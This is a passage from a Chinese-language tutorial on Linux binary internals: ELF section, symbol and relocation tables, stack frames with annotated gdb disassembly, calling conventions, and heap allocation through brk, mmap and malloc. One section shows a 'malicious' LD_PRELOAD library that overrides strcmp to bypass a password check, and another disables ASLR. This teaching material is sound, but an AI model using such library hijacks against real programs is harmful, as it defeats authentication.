+ [ 6] .rodata PROGBITS 00000000 0000bc 000004 00 A 0 0 1
+ [ 7] .text.__x86.get_p PROGBITS 00000000 0000c0 000004 00 AXG 0 0 1
+ [ 8] .comment PROGBITS 00000000 0000c4 000012 01 MS 0 0 1
+ [ 9] .note.GNU-stack PROGBITS 00000000 0000d6 000000 00 0 0 1
+ [10] .eh_frame PROGBITS 00000000 0000d8 00007c 00 A 0 0 4
+ [11] .rel.eh_frame REL 00000000 000380 000018 08 I 12 10 4
+ [12] .symtab SYMTAB 00000000 000154 000140 10 13 13 4
+ [13] .strtab STRTAB 00000000 000294 0000a2 00 0 0 1
+ [14] .shstrtab STRTAB 00000000 000398 000082 00 0 0 1
+Key to Flags:
+ W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
+ L (link order), O (extra OS processing required), G (group), T (TLS),
+ C (compressed), x (unknown), o (OS specific), E (exclude),
+ p (processor specific)
+
+注意,ELF 段表的第一个元素是被保留的,类型为 NULL。
+字符串表以段的形式存在,包含了以 null 结尾的字符序列。对象文件使用这些字符串来表示符号和段名称,引用字符串时只需给出在表中的偏移即可。字符串表的第一个字符和最后一个字符为空字符,以确保所有字符串的开始和终止。通常段名为 .strtab
的字符串表是 字符串表(Strings Table),段名为 .shstrtab
的是段表字符串表(Section Header String Table)。
偏移 | ++0 | ++1 | ++2 | ++3 | ++4 | ++5 | ++6 | ++7 | ++8 | ++9 | +
---|---|---|---|---|---|---|---|---|---|---|
+0 | +\0 | +h | +e | +l | +l | +o | +\0 | +w | +o | +r | +
+10 | +l | +d | +\0 | +h | +e | +l | +l | +o | +w | +o | +
+20 | +r | +l | +d | +\0 | ++ | + | + | + | + | + |
偏移 | +字符串 | +
---|---|
0 | +空字符串 | +
1 | +hello | +
7 | +world | +
13 | +helloworld | +
18 | +world | +
可以使用 readelf 读取这两个表:
+$ readelf -x .strtab elfDemo.o
+
+Hex dump of section '.strtab':
+ 0x00000000 00656c66 44656d6f 2e63006c 6f63616c .elfDemo.c.local
+ 0x00000010 5f737461 7469635f 696e6974 5f766172 _static_init_var
+ 0x00000020 2e323139 35006c6f 63616c5f 73746174 .2195.local_stat
+ 0x00000030 69635f75 6e696e69 745f7661 722e3231 ic_uninit_var.21
+ 0x00000040 39360067 6c6f6261 6c5f696e 69745f76 96.global_init_v
+ 0x00000050 61720067 6c6f6261 6c5f756e 696e6974 ar.global_uninit
+ 0x00000060 5f766172 0066756e 63005f5f 7838362e _var.func.__x86.
+ 0x00000070 6765745f 70635f74 68756e6b 2e617800 get_pc_thunk.ax.
+ 0x00000080 5f474c4f 42414c5f 4f464653 45545f54 _GLOBAL_OFFSET_T
+ 0x00000090 41424c45 5f007072 696e7466 006d6169 ABLE_.printf.mai
+ 0x000000a0 6e00
+
+$ readelf -x .shstrtab elfDemo.o
+
+Hex dump of section '.shstrtab':
+ 0x00000000 002e7379 6d746162 002e7374 72746162 ..symtab..strtab
+ 0x00000010 002e7368 73747274 6162002e 72656c2e ..shstrtab..rel.
+ 0x00000020 74657874 002e6461 7461002e 62737300 text..data..bss.
+ 0x00000030 2e726f64 61746100 2e746578 742e5f5f .rodata..text.__
+ 0x00000040 7838362e 6765745f 70635f74 68756e6b x86.get_pc_thunk
+ 0x00000050 2e617800 2e636f6d 6d656e74 002e6e6f .ax..comment..no
+ 0x00000060 74652e47 4e552d73 7461636b 002e7265 te.GNU-stack..re
+ 0x00000070 6c2e6568 5f667261 6d65002e 67726f75 l.eh_frame..grou
+ 0x00000080 7000
+
+目标文件的符号表保存了定位和重定位程序的符号定义和引用所需的信息。符号表索引是这个数组的下标。索引0指向表中的第一个条目,作为未定义的符号索引。
+typedef struct
+{
+ Elf32_Word st_name; /* Symbol name (string tbl index) */
+ Elf32_Addr st_value; /* Symbol value */
+ Elf32_Word st_size; /* Symbol size */
+ unsigned char st_info; /* Symbol type and binding */
+ unsigned char st_other; /* Symbol visibility */
+ Elf32_Section st_shndx; /* Section index */
+} Elf32_Sym;
+
+typedef struct
+{
+ Elf64_Word st_name; /* Symbol name (string tbl index) */
+ unsigned char st_info; /* Symbol type and binding */
+ unsigned char st_other; /* Symbol visibility */
+ Elf64_Section st_shndx; /* Section index */
+ Elf64_Addr st_value; /* Symbol value */
+ Elf64_Xword st_size; /* Symbol size */
+} Elf64_Sym;
+
+查看符号表:
+$ readelf -s elfDemo.o
+
+Symbol table '.symtab' contains 20 entries:
+ Num: Value Size Type Bind Vis Ndx Name
+ 0: 00000000 0 NOTYPE LOCAL DEFAULT UND
+ 1: 00000000 0 FILE LOCAL DEFAULT ABS elfDemo.c
+ 2: 00000000 0 SECTION LOCAL DEFAULT 2
+ 3: 00000000 0 SECTION LOCAL DEFAULT 4
+ 4: 00000000 0 SECTION LOCAL DEFAULT 5
+ 5: 00000000 0 SECTION LOCAL DEFAULT 6
+ 6: 00000004 4 OBJECT LOCAL DEFAULT 4 local_static_init_var.219
+ 7: 00000000 4 OBJECT LOCAL DEFAULT 5 local_static_uninit_var.2
+ 8: 00000000 0 SECTION LOCAL DEFAULT 7
+ 9: 00000000 0 SECTION LOCAL DEFAULT 9
+ 10: 00000000 0 SECTION LOCAL DEFAULT 10
+ 11: 00000000 0 SECTION LOCAL DEFAULT 8
+ 12: 00000000 0 SECTION LOCAL DEFAULT 1
+ 13: 00000000 4 OBJECT GLOBAL DEFAULT 4 global_init_var
+ 14: 00000004 4 OBJECT GLOBAL DEFAULT COM global_uninit_var
+ 15: 00000000 46 FUNC GLOBAL DEFAULT 2 func
+ 16: 00000000 0 FUNC GLOBAL HIDDEN 7 __x86.get_pc_thunk.ax
+ 17: 00000000 0 NOTYPE GLOBAL DEFAULT UND _GLOBAL_OFFSET_TABLE_
+ 18: 00000000 0 NOTYPE GLOBAL DEFAULT UND printf
+ 19: 0000002e 74 FUNC GLOBAL DEFAULT 2 main
+
+重定位是连接符号定义与符号引用的过程。可重定位文件必须具有描述如何修改段内容的信息,从而运行可执行文件和共享对象文件保存进程程序映像的正确信息。
+typedef struct
+{
+ Elf32_Addr r_offset; /* Address */
+ Elf32_Word r_info; /* Relocation type and symbol index */
+} Elf32_Rel;
+
+typedef struct
+{
+ Elf64_Addr r_offset; /* Address */
+ Elf64_Xword r_info; /* Relocation type and symbol index */
+ Elf64_Sxword r_addend; /* Addend */
+} Elf64_Rela;
+
+查看重定位表:
+$ readelf -r elfDemo.o
+
+Relocation section '.rel.text' at offset 0x338 contains 9 entries:
+ Offset Info Type Sym.Value Sym. Name
+00000008 00001002 R_386_PC32 00000000 __x86.get_pc_thunk.ax
+0000000d 0000110a R_386_GOTPC 00000000 _GLOBAL_OFFSET_TABLE_
+00000019 00000509 R_386_GOTOFF 00000000 .rodata
+00000021 00001204 R_386_PLT32 00000000 printf
+00000040 00001002 R_386_PC32 00000000 __x86.get_pc_thunk.ax
+00000045 0000110a R_386_GOTPC 00000000 _GLOBAL_OFFSET_TABLE_
+00000052 00000d09 R_386_GOTOFF 00000000 global_init_var
+0000005d 00000309 R_386_GOTOFF 00000000 .data
+00000068 00000f02 R_386_PC32 00000000 func
+
+Relocation section '.rel.eh_frame' at offset 0x380 contains 3 entries:
+ Offset Info Type Sym.Value Sym. Name
+00000020 00000202 R_386_PC32 00000000 .text
+00000044 00000202 R_386_PC32 00000000 .text
+00000070 00000802 R_386_PC32 00000000 .text.__x86.get_pc_thu
+
+LD_PRELOAD 环境变量可以定义在程序运行前优先加载的动态链接库。这使得我们可以有选择性地加载不同动态链接库中的相同函数,即通过设置该变量,在主程序和其动态链接库中间加载别的动态链接库,甚至覆盖原本的库。这就有可能出现劫持程序执行的安全问题。
+#include<stdio.h>
+#include<string.h>
+void main() {
+ char passwd[] = "password";
+ char str[128];
+
+ scanf("%s", &str);
+ if (!strcmp(passwd, str)) {
+ printf("correct\n");
+ return;
+ }
+ printf("invalid\n");
+}
+
+下面我们构造一个恶意的动态链接库来重载 strcmp()
函数,编译为动态链接库,并设置 LD_PRELOAD 环境变量:
$ cat hack.c
+#include<stdio.h>
+#include<stdio.h>
+int strcmp(const char *s1, const char *s2) {
+ printf("hacked\n");
+ return 0;
+}
+$ gcc -shared -o hack.so hack.c
+$ gcc ldpreload.c
+$ ./a.out
+asdf
+invalid
+$ LD_PRELOAD="./hack.so" ./a.out
+asdf
+hacked
+correct
+
+AUXV 是内核在执行 ELF 文件时传递给用户空间的信息,设置该环境变量可以显示这些信息。如:
+$ LD_SHOW_AUXV=1 ls
+AT_SYSINFO_EHDR: 0x7fff41fbc000
+AT_HWCAP: bfebfbff
+AT_PAGESZ: 4096
+AT_CLKTCK: 100
+AT_PHDR: 0x55f1f623e040
+AT_PHENT: 56
+AT_PHNUM: 9
+AT_BASE: 0x7f277e1ec000
+AT_FLAGS: 0x0
+AT_ENTRY: 0x55f1f6243060
+AT_UID: 1000
+AT_EUID: 1000
+AT_GID: 1000
+AT_EGID: 1000
+AT_SECURE: 0
+AT_RANDOM: 0x7fff41effbb9
+AT_EXECFN: /usr/bin/ls
+AT_PLATFORM: x86_64
+
+为了使用户程序在运行时具有一个私有的地址空间、有自己的 CPU,就像独占了整个计算机一样,现代操作系统提出了虚拟内存的概念。
+虚拟内存的主要作用主要为三个:
+现代操作系统采用虚拟寻址的方式,CPU 通过生成一个虚拟地址(Virtual Address(VA))来访问内存,然后这个虚拟地址通过内存管理单元(Memory Management Unit(MMU))转换成物理地址之后被送到存储器。
+ +前面我们已经看到可执行文件被映射到了内存中,Linux 为每个进程维持了一个单独的虚拟地址空间,包括了 .text、.data、.bss、栈(stack)、堆(heap),共享库等内容。
+32 位系统有 4GB 的地址空间,其中 0x08048000~0xbfffffff 是用户空间(3GB),0xc0000000~0xffffffff 是内核空间(1GB)。
+ +栈是一个先入后出(First In Last Out(FIFO))的容器。用于存放函数返回地址及参数、临时变量和有关上下文的内容。程序在调用函数时,操作系统会自动通过压栈和弹栈完成保存函数现场等操作,不需要程序员手动干预。
+栈由高地址向低地址增长,栈保存了一个函数调用所需要的维护信息,称为堆栈帧(Stack Frame)在 x86 体系中,寄存器 ebp
指向堆栈帧的底部,esp
指向堆栈帧的顶部。压栈时栈顶地址减小,弹栈时栈顶地址增大。
PUSH
:用于压栈。将 esp
减 4,然后将其唯一操作数的内容写入到 esp
指向的内存地址POP
:用于弹栈。从 esp
指向的内存地址获得数据,将其加载到指令操作数(通常是一个寄存器)中,然后将 esp
加 4。x86 体系下函数的调用总是这样的:
+其中第 2 步和第 3 步由指令 call
一起执行。跳转到函数体之后即开始执行函数,而 x86 函数体的开头是这样的:
push ebp
:把ebp压入栈中(old ebp)。mov ebp, esp
:ebp=esp(这时ebp指向栈顶,而此时栈顶就是old ebp)sub esp, XXX
:在栈上分配 XXX 字节的临时空间。push XXX
:保存名为 XXX 的寄存器。把ebp压入栈中,是为了在函数返回时恢复以前的ebp值,而压入寄存器的值,是为了保持某些寄存器在函数调用前后保存不变。函数返回时的操作与开头正好相反:
+pop XXX
:恢复保存的寄存器。mov esp, ebp
:恢复esp同时回收局部变量空间。pop ebp
:恢复保存的ebp的值。ret
:从栈中取得返回地址,并跳转到该位置。栈帧对应的汇编代码:
+PUSH ebp ; 函数开始(使用ebp前先把已有值保存到栈中)
+MOV ebp, esp ; 保存当前esp到ebp中
+
+... ; 函数体
+ ; 无论esp值如何变化,ebp都保持不变,可以安全访问函数的局部变量、参数
+MOV esp, ebp ; 将函数的其实地址返回到esp中
+POP ebp ; 函数返回前弹出保存在栈中的ebp值
+RET ; 函数返回并跳转
+
+函数调用后栈的标准布局如下图:
+ +我们来看一个例子:源码
+#include<stdio.h>
+int add(int a, int b) {
+ int x = a, y = b;
+ return (x + y);
+}
+
+int main() {
+ int a = 1, b = 2;
+ printf("%d\n", add(a, b));
+ return 0;
+}
+
+使用 gdb 查看对应的汇编代码,这里我们给出了详细的注释:
+gdb-peda$ disassemble main
+Dump of assembler code for function main:
+ 0x00000563 <+0>: lea ecx,[esp+0x4] ;将 esp+0x4 的地址传给 ecx
+ 0x00000567 <+4>: and esp,0xfffffff0 ;栈 16 字节对齐
+ 0x0000056a <+7>: push DWORD PTR [ecx-0x4] ;ecx-0x4,即原 esp 强制转换为双字数据后压入栈中
+ 0x0000056d <+10>: push ebp ;保存调用 main() 函数之前的 ebp,由于在 _start 中将 ebp 清零了,这里的 ebp=0x0
+ 0x0000056e <+11>: mov ebp,esp ;把调用 main() 之前的 esp 作为当前栈帧的 ebp
+ 0x00000570 <+13>: push ebx ;ebx、ecx 入栈
+ 0x00000571 <+14>: push ecx
+ 0x00000572 <+15>: sub esp,0x10 ;为局部变量 a、b 分配空间并做到 16 字节对齐
+ 0x00000575 <+18>: call 0x440 <__x86.get_pc_thunk.bx> ;调用 <__x86.get_pc_thunk.bx> 函数,将 esp 强制转换为双字数据后保存到 ebx
+ 0x0000057a <+23>: add ebx,0x1a86 ;ebx+0x1a86
+ 0x00000580 <+29>: mov DWORD PTR [ebp-0x10],0x1 ;a 第二个入栈所以保存在 ebp-0x10 的位置,此句即 a=1
+ 0x00000587 <+36>: mov DWORD PTR [ebp-0xc],0x2 ;b 第一个入栈所以保存在 ebp-0xc 的位置,此句即 b=2
+ 0x0000058e <+43>: push DWORD PTR [ebp-0xc] ;将 b 压入栈中
+ 0x00000591 <+46>: push DWORD PTR [ebp-0x10] ;将 a 压入栈中
+ 0x00000594 <+49>: call 0x53d <add> ;调用 add() 函数,返回值保存在 eax 中
+ 0x00000599 <+54>: add esp,0x8 ;清理 add() 的参数
+ 0x0000059c <+57>: sub esp,0x8 ;调整 esp 使 16 位对齐
+ 0x0000059f <+60>: push eax ;eax 入栈
+ 0x000005a0 <+61>: lea eax,[ebx-0x19b0] ;ebx-0x19b0 的地址保存到 eax,该地址处保存字符串 "%d\n"
+ 0x000005a6 <+67>: push eax ;eax 入栈
+ 0x000005a7 <+68>: call 0x3d0 <printf@plt> ;调用 printf() 函数
+ 0x000005ac <+73>: add esp,0x10 ;调整栈顶指针 esp,清理 printf() 的参数
+ 0x000005af <+76>: mov eax,0x0 ;eax=0x0
+ 0x000005b4 <+81>: lea esp,[ebp-0x8] ;ebp-0x8 的地址保存到 esp
+ 0x000005b7 <+84>: pop ecx ;弹栈恢复 ecx、ebx、ebp
+ 0x000005b8 <+85>: pop ebx
+ 0x000005b9 <+86>: pop ebp
+ 0x000005ba <+87>: lea esp,[ecx-0x4] ;ecx-0x4 的地址保存到 esp
+ 0x000005bd <+90>: ret ;返回,相当于 pop eip;
+End of assembler dump.
+gdb-peda$ disassemble add
+Dump of assembler code for function add:
+ 0x0000053d <+0>: push ebp ;保存调用 add() 函数之前的 ebp
+ 0x0000053e <+1>: mov ebp,esp ;把调用 add() 之前的 esp 作为当前栈帧的 ebp
+ 0x00000540 <+3>: sub esp,0x10 ;为局部变量 x、y 分配空间并做到 16 字节对齐
+ 0x00000543 <+6>: call 0x5be <__x86.get_pc_thunk.ax> ;调用 <__x86.get_pc_thunk.ax> 函数,将 esp 强制转换为双字数据后保存到 eax
+ 0x00000548 <+11>: add eax,0x1ab8 ;eax+0x1ab8
+ 0x0000054d <+16>: mov eax,DWORD PTR [ebp+0x8] ;将 ebp+0x8 的数据 0x1 传送到 eax,ebp+0x4 为函数返回地址
+ 0x00000550 <+19>: mov DWORD PTR [ebp-0x8],eax ;保存 eax 的值 0x1 到 ebp-0x8 的位置
+ 0x00000553 <+22>: mov eax,DWORD PTR [ebp+0xc] ;将 ebp+0xc 的数据 0x2 传送到 eax
+ 0x00000556 <+25>: mov DWORD PTR [ebp-0x4],eax ;保存 eax 的值 0x2 到 ebp-0x4 的位置
+ 0x00000559 <+28>: mov edx,DWORD PTR [ebp-0x8] ;取出 ebp-0x8 的值 0x1 到 edx
+ 0x0000055c <+31>: mov eax,DWORD PTR [ebp-0x4] ;取出 ebp-0x4 的值 0x2 到 eax
+ 0x0000055f <+34>: add eax,edx ;eax+edx
+ 0x00000561 <+36>: leave ;返回,相当于 mov esp,ebp; pop ebp;
+ 0x00000562 <+37>: ret
+End of assembler dump.
+
+这里我们在 Linux 环境下,由于 ELF 文件的入口其实是 _start
而不是 main()
,所以我们还应该关注下面的函数:
gdb-peda$ disassemble _start
+Dump of assembler code for function _start:
+ 0x00000400 <+0>: xor ebp,ebp ;清零 ebp,表示下面的 main() 函数栈帧中 ebp 保存的上一级 ebp 为 0x00000000
+ 0x00000402 <+2>: pop esi ;将 argc 存入 esi
+ 0x00000403 <+3>: mov ecx,esp ;将栈顶地址(argv 和 env 数组的其实地址)传给 ecx
+ 0x00000405 <+5>: and esp,0xfffffff0 ;栈 16 字节对齐
+ 0x00000408 <+8>: push eax ;eax、esp、edx 入栈
+ 0x00000409 <+9>: push esp
+ 0x0000040a <+10>: push edx
+ 0x0000040b <+11>: call 0x432 <_start+50> ;先将下一条指令地址 0x00000410 压栈,设置 esp 指向它,再调用 0x00000432 处的指令
+ 0x00000410 <+16>: add ebx,0x1bf0 ;ebx+0x1bf0
+ 0x00000416 <+22>: lea eax,[ebx-0x19d0] ;取 <__libc_csu_fini> 地址传给 eax,然后压栈
+ 0x0000041c <+28>: push eax
+ 0x0000041d <+29>: lea eax,[ebx-0x1a30] ;取 <__libc_csu_init> 地址传入 eax,然后压栈
+ 0x00000423 <+35>: push eax
+ 0x00000424 <+36>: push ecx ;ecx、esi 入栈保存
+ 0x00000425 <+37>: push esi
+ 0x00000426 <+38>: push DWORD PTR [ebx-0x8] ;调用 main() 函数之前保存返回地址,其实就是保存 main() 函数的入口地址
+ 0x0000042c <+44>: call 0x3e0 <__libc_start_main@plt> ;call 指令调用 __libc_start_main 函数
+ 0x00000431 <+49>: hlt ;hlt 指令使程序停止运行,处理器进入暂停状态,不执行任何操作,不影响标志。当 RESET 线上有复位信号、CPU 响应非屏蔽终端、CPU 响应可屏蔽终端 3 种情况之一时,CPU 脱离暂停状态,执行下一条指令
+ 0x00000432 <+50>: mov ebx,DWORD PTR [esp] ;esp 强制转换为双字数据后保存到 ebx
+ 0x00000435 <+53>: ret ;返回,相当于 pop eip;
+ 0x00000436 <+54>: xchg ax,ax ;交换 ax 和 ax 的数据,相当于 nop
+ 0x00000438 <+56>: xchg ax,ax
+ 0x0000043a <+58>: xchg ax,ax
+ 0x0000043c <+60>: xchg ax,ax
+ 0x0000043e <+62>: xchg ax,ax
+End of assembler dump.
+
+函数调用约定是对函数调用时如何传递参数的一种约定。调用函数前要先把参数压入栈然后再传递给函数。
+一个调用约定大概有如下的内容:
+主要的函数调用约定如下,其中 cdecl 是 C 语言默认的调用约定:
+调用约定 | +出栈方 | +参数传递 | +名字修饰 | +
---|---|---|---|
cdecl | +函数调用方 | +从右到左的顺序压参数入栈 | +下划线+函数名 | +
stdcall | +函数本身 | +从右到左的顺序压参数入栈 | +下划线+函数名+@+参数的字节数 | +
fastcall | +函数本身 | +都两个 DWORD(4 字节)类型或者占更少字节的参数被放入寄存器,其他剩下的参数按从右到左的顺序压入栈 | +@+函数名+@+参数的字节数 | +
除了参数的传递之外,函数与调用方还可以通过返回值进行交互。当返回值不大于 4 字节时,返回值存储在 eax 寄存器中,当返回值在 5~8 字节时,采用 eax 和 edx 结合的形式返回,其中 eax 存储低 4 字节, edx 存储高 4 字节。
+堆是用于存放除了栈里的东西之外所有其他东西的内存区域,有动态内存分配器负责维护。分配器将堆视为一组不同大小的块(block)的集合来维护,每个块就是一个连续的虚拟内存器片(chunk)。当使用 malloc()
和 free()
时就是在操作堆中的内存。对于堆来说,释放工作由程序员控制,容易产生内存泄露。
堆是向高地址扩展的数据结构,是不连续的内存区域。这是由于系统是用链表来存储的空闲内存地址的,而链表的遍历方向是由低地址向高地址。堆的大小受限于计算机系统中有效的虚拟内存。由此可见,堆获得的空间比较灵活,也比较大。
+如果每次申请内存时都直接使用系统调用,会严重影响程序的性能。通常情况下,运行库先向操作系统“批发”一块较大的堆空间,然后“零售”给程序使用。当全部“售完”之后或者剩余空间不能满足程序的需求时,再根据情况向操作系统“进货”。
+Linux 提供了两种堆空间分配的方式,一个是 brk()
系统调用,另一个是 mmap()
系统调用。可以使用 man brk
、man mmap
查看。
brk()
的声明如下:
#include <unistd.h>
+
+int brk(void *addr);
+
+void *sbrk(intptr_t increment);
+
+参数 *addr
是进程数据段的结束地址,brk()
通过改变该地址来改变数据段的大小,当结束地址向高地址移动,进程内存空间增大,当结束地址向低地址移动,进程内存空间减小。brk()
调用成功时返回 0,失败时返回 -1。 sbrk()
与 brk()
类似,但是参数 increment
表示增量,即增加或减少的空间大小,调用成功时返回增加后减小前数据段的结束地址,失败时返回 -1。
在上图中我们看到 brk 指示堆结束地址,start_brk 指示堆开始地址。BSS segment 和 heap 之间有一段 Random brk offset,这是由于 ASLR 的作用,如果关闭了 ASLR,则 Random brk offset 为 0,堆结束地址和数据段开始地址重合。
+例子:源码
+#include <stdio.h>
+#include <unistd.h>
+void main() {
+ void *curr_brk, *tmp_brk, *pre_brk;
+
+ printf("当前进程 PID:%d\n", getpid());
+
+ tmp_brk = curr_brk = sbrk(0);
+ printf("初始化后的结束地址:%p\n", curr_brk);
+ getchar();
+
+ brk(curr_brk+4096);
+ curr_brk = sbrk(0);
+ printf("brk 之后的结束地址:%p\n", curr_brk);
+ getchar();
+
+ pre_brk = sbrk(4096);
+ curr_brk = sbrk(0);
+ printf("sbrk 返回值(即之前的结束地址):%p\n", pre_brk);
+ printf("sbrk 之后的结束地址:%p\n", curr_brk);
+ getchar();
+
+ brk(tmp_brk);
+ curr_brk = sbrk(0);
+ printf("恢复到初始化时的结束地址:%p\n", curr_brk);
+ getchar();
+}
+
+开启两个终端,一个用于执行程序,另一个用于观察内存地址。首先我们看关闭了 ASLR 的情况。第一步初始化:
+# echo 0 > /proc/sys/kernel/randomize_va_space
+$ ./a.out
+当前进程 PID:27759
+初始化后的结束地址:0x56579000
+# cat /proc/27759/maps
+...
+56557000-56558000 rw-p 00001000 08:01 28587506 /home/a.out
+56558000-56579000 rw-p 00000000 00:00 0 [heap]
+...
+
+数据段结束地址和堆开始地址同为 0x56558000
,堆结束地址为 0x56579000
。
第二步使用 brk()
增加堆空间:
$ ./a.out
+当前进程 PID:27759
+初始化后的结束地址:0x56579000
+
+brk 之后的结束地址:0x5657a000
+# cat /proc/27759/maps
+...
+56557000-56558000 rw-p 00001000 08:01 28587506 /home/a.out
+56558000-5657a000 rw-p 00000000 00:00 0 [heap]
+...
+
+堆开始地址不变,结束地址增加为 0x5657a000
。
第三步使用 sbrk()
增加堆空间:
$ ./a.out
+当前进程 PID:27759
+初始化后的结束地址:0x56579000
+
+brk 之后的结束地址:0x5657a000
+
+sbrk 返回值(即之前的结束地址):0x5657a000
+sbrk 之后的结束地址:0x5657b000
+# cat /proc/27759/maps
+...
+56557000-56558000 rw-p 00001000 08:01 28587506 /home/a.out
+56558000-5657b000 rw-p 00000000 00:00 0 [heap]
+...
+
+第四步减小堆空间:
+$ ./a.out
+当前进程 PID:27759
+初始化后的结束地址:0x56579000
+
+brk 之后的结束地址:0x5657a000
+
+sbrk 返回值(即之前的结束地址):0x5657a000
+sbrk 之后的结束地址:0x5657b000
+
+恢复到初始化时的结束地址:0x56579000
+# cat /proc/27759/maps
+...
+56557000-56558000 rw-p 00001000 08:01 28587506 /home/a.out
+56558000-56579000 rw-p 00000000 00:00 0 [heap]
+...
+
+再来看一下开启了 ASLR 的情况:
+# echo 2 > /proc/sys/kernel/randomize_va_space
+$ ./a.out
+当前进程 PID:28025
+初始化后的结束地址:0x578ad000
+# cat /proc/28025/maps
+...
+5663f000-56640000 rw-p 00001000 08:01 28587506 /home/a.out
+5788c000-578ad000 rw-p 00000000 00:00 0 [heap]
+...
+
+可以看到这时数据段的结束地址 0x56640000
不等于堆的开始地址 0x5788c000
。
mmap()
的声明如下:
#include <sys/mman.h>
+
+void *mmap(void *addr, size_t len, int prot, int flags,
+ int fildes, off_t off);
+
+mmap()
函数用于创建新的虚拟内存区域,并将对象映射到这些区域中,当它不将地址空间映射到某个文件时,我们称这块空间为匿名(Anonymous)空间,匿名空间可以用来作为堆空间。mmap()
函数要求内核创建一个从地址 addr
开始的新虚拟内存区域,并将文件描述符 fildes
指定的对象的一个连续的片(chunk)映射到这个新区域。连续的对象片大小为 len
字节,从距文件开始处偏移量为 off
字节的地方开始。prot
描述虚拟内存区域的访问权限位,flags
描述被映射对象类型的位组成。
munmap()
则用于删除虚拟内存区域:
#include <sys/mman.h>
+
+int munmap(void *addr, size_t len);
+
+例子:源码
+#include <stdio.h>
+#include <sys/mman.h>
+#include <unistd.h>
+void main() {
+ void *curr_brk;
+
+ printf("当前进程 PID:%d\n", getpid());
+ printf("初始化后\n");
+ getchar();
+
+ char *addr;
+ addr = mmap(NULL, (size_t)4096, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
+ printf("mmap 完成\n");
+ getchar();
+
+ munmap(addr, (size_t)4096);
+ printf("munmap 完成\n");
+ getchar();
+}
+
+第一步初始化:
+$ ./a.out
+当前进程 PID:28652
+初始化后
+# cat /proc/28652/maps
+...
+f76b2000-f76b5000 rw-p 00000000 00:00 0
+f76ef000-f76f1000 rw-p 00000000 00:00 0
+...
+
+第二步 mmap:
+]$ ./a.out
+当前进程 PID:28652
+初始化后
+mmap 完成
+# cat /proc/28652/maps
+...
+f76b2000-f76b5000 rw-p 00000000 00:00 0
+f76ee000-f76f1000 rw-p 00000000 00:00 0
+...
+
+第三步 munmap:
+$ ./a.out
+当前进程 PID:28652
+初始化后
+mmap 完成
+munmap 完成
+# cat /proc/28652/maps
+...
+f76b2000-f76b5000 rw-p 00000000 00:00 0
+f76ef000-f76f1000 rw-p 00000000 00:00 0
+...
+
+可以看到第二行第一列地址从 f76ef000
->f76ee000
->f76ef000
变化。0xf76ee000-0xf76ef000=0x1000=4096
。
通常情况下,我们不会直接使用 brk()
和 mmap()
来分配堆空间,C 标准库提供了一个叫做 malloc
的分配器,程序通过调用 malloc()
函数来从堆中分配块,声明如下:
#include <stdlib.h>
+
+void *malloc(size_t size);
+void free(void *ptr);
+void *calloc(size_t nmemb, size_t size);
+void *realloc(void *ptr, size_t size);
+
+示例:
+#include<stdio.h>
+#include<malloc.h>
+void foo(int n) {
+ int *p;
+ p = (int *)malloc(n * sizeof(int));
+
+ for (int i=0; i<n; i++) {
+ p[i] = i;
+ printf("%d ", p[i]);
+ }
+ printf("\n");
+
+ free(p);
+}
+
+void main() {
+ int n;
+ scanf("%d", &n);
+
+ foo(n);
+}
+
+运行结果:
+$ ./malloc
+4
+0 1 2 3
+$ ./malloc
+8
+0 1 2 3 4 5 6 7
+$ ./malloc
+16
+0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
+
+使用 gdb 查看反汇编代码:
+gdb-peda$ disassemble foo
+Dump of assembler code for function foo:
+ 0x0000066d <+0>: push ebp
+ 0x0000066e <+1>: mov ebp,esp
+ 0x00000670 <+3>: push ebx
+ 0x00000671 <+4>: sub esp,0x14
+ 0x00000674 <+7>: call 0x570 <__x86.get_pc_thunk.bx>
+ 0x00000679 <+12>: add ebx,0x1987
+ 0x0000067f <+18>: mov eax,DWORD PTR [ebp+0x8]
+ 0x00000682 <+21>: shl eax,0x2
+ 0x00000685 <+24>: sub esp,0xc
+ 0x00000688 <+27>: push eax
+ 0x00000689 <+28>: call 0x4e0 <malloc@plt>
+ 0x0000068e <+33>: add esp,0x10
+ 0x00000691 <+36>: mov DWORD PTR [ebp-0xc],eax
+ 0x00000694 <+39>: mov DWORD PTR [ebp-0x10],0x0
+ 0x0000069b <+46>: jmp 0x6d9 <foo+108>
+ 0x0000069d <+48>: mov eax,DWORD PTR [ebp-0x10]
+ 0x000006a0 <+51>: lea edx,[eax*4+0x0]
+ 0x000006a7 <+58>: mov eax,DWORD PTR [ebp-0xc]
+ 0x000006aa <+61>: add edx,eax
+ 0x000006ac <+63>: mov eax,DWORD PTR [ebp-0x10]
+ 0x000006af <+66>: mov DWORD PTR [edx],eax
+ 0x000006b1 <+68>: mov eax,DWORD PTR [ebp-0x10]
+ 0x000006b4 <+71>: lea edx,[eax*4+0x0]
+ 0x000006bb <+78>: mov eax,DWORD PTR [ebp-0xc]
+ 0x000006be <+81>: add eax,edx
+ 0x000006c0 <+83>: mov eax,DWORD PTR [eax]
+ 0x000006c2 <+85>: sub esp,0x8
+ 0x000006c5 <+88>: push eax
+ 0x000006c6 <+89>: lea eax,[ebx-0x17e0]
+ 0x000006cc <+95>: push eax
+ 0x000006cd <+96>: call 0x4b0 <printf@plt>
+ 0x000006d2 <+101>: add esp,0x10
+ 0x000006d5 <+104>: add DWORD PTR [ebp-0x10],0x1
+ 0x000006d9 <+108>: mov eax,DWORD PTR [ebp-0x10]
+ 0x000006dc <+111>: cmp eax,DWORD PTR [ebp+0x8]
+ 0x000006df <+114>: jl 0x69d <foo+48>
+ 0x000006e1 <+116>: sub esp,0xc
+ 0x000006e4 <+119>: push 0xa
+ 0x000006e6 <+121>: call 0x500 <putchar@plt>
+ 0x000006eb <+126>: add esp,0x10
+ 0x000006ee <+129>: sub esp,0xc
+ 0x000006f1 <+132>: push DWORD PTR [ebp-0xc]
+ 0x000006f4 <+135>: call 0x4c0 <free@plt>
+ 0x000006f9 <+140>: add esp,0x10
+ 0x000006fc <+143>: nop
+ 0x000006fd <+144>: mov ebx,DWORD PTR [ebp-0x4]
+ 0x00000700 <+147>: leave
+ 0x00000701 <+148>: ret
+End of assembler dump.
+
+关于 glibc 中的 malloc 实现是一个很重要的话题,我们会在后面的章节详细介绍。
+glibc 即 GNU C Library,是为 GNU 操作系统开发的一个 C 标准库。glibc 主要由两部分组成,一部分是头文件,位于 /usr/include
